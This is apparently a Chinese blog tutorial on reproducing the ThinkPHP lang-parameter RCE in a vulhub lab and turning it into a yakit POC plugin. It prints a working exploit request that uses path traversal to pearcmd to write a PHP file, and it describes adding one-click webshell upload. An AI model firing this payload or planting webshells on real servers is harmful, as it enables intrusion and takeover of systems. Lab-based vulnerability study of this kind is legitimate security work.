前言
最近因项目接触到了 yakit ,简单学习和编写一下漏洞POC。整体体的体验感和 burp 略微有点差距,但是有些功能比 burp 使用起来更加的舒服。
漏洞环境
漏洞环境使用 vulhub 直接搭建
1  | git clone https://github.com/vulhub/vulhub  | 
环境启动后,访问http://your-ip:8080即可查看到 ThinkPHP 默认的欢迎页面。

漏洞复现
1  | GET /?+config-create+/&lang=../../../../../../../../../../../usr/local/lib/php/pearcmd&/<?=phpinfo()?>+shell.php HTTP/1.1  | 

如果服务器返回 pearcmd 的命令行执行结果,说明漏洞利用成功,然后在根目录中生成 shell.php 文件

yakit 插件编写
漏洞复现很简单,复现完成后,就可以上手写插件,会先完整给出代码文件
1  | // 设置日志  | 
这个就是最简单的插件编写

sendPacket1
因为要编写的是 POC 文件,最小化不惊动防火墙来探测漏洞是关键,所以这里编写的第一个请求包内容
1  | // poc发包1  | 
随机生成一个字符串 rdmd5  写入 1.txt 文件中,然后通过访问 1.txt 来确认文件是否写入
sendPacket2
1  | // poc 发包2  | 
rdmd5
1  | // poc 生成随机字符  | 
其中 str.RandStr(20) 为生成一个20位长度的随机字符串,然后通过 codec.Md5() 进行 MD5 加密
验证
1  | // 发送 poc 验证  | 
str.SplitHTTPHeadersAndBodyFromPacket() 拆分 sendPacket2 ,我们在 body 中完全匹配 rdmd5 ,如果存在则证明漏洞存在,这时就可以尝试再写入一句话马或者是免杀马
优化
上述代码可以说是从官网文档中各种复制粘贴的内容,没有一点的含金量,各位只需要粘贴复制也能在短时间内打造出一样的,甚至是更加美观的验证文件。
优化1: 漏洞验证是否存在
在仔细阅读 thinkphp_lang-rce 漏洞分析的文章时,其实在正确的第一步应该是验证是否有开启多语言特性

我们假定服务器条件已满足,首先我们要加入探测 ?lang=../../../../../public/index 访问状态码是否为 500 。这里我们要先判断状态码,然后再去执行后续的POC探测。先组包,可直接使用默认的数据包。
1  | // 验证多语言特性文件包含是否存在  | 
判断状态码,这里需要先把一个数据包转变成可用的 HTTP Response 对象,使用 poc.ParseBytesToHTTPResponse() ,然后就可以使用 StatusCode 来获取状态码信息
1  | // 判断多语言特性  | 

思考:如果状态码不是 500 还需要跑完整个 POC 吗?
优化2: 美化页面输出
在原始页面中,我们只是通过 Console 中的内容来查看扫描进度,这里浪费了 基础插件扫描/日志 部分的内容展示,所以我们给他增加交互式输出内容
1  | // 启用 yakit 通信模块  | 

除此之外,加上进度条
1  | yakit.SetProgress(0.5)  | 
通过不同的数值来区分当前进度内容
优化3: 增加写入一句话木马
提供 一键getshell  功能,直接生成默认的一句话木马,文件名可直接使用POC中给出的随机值 rdmd5
优化4: 指纹识别
判断当前站点是否为 thinkphp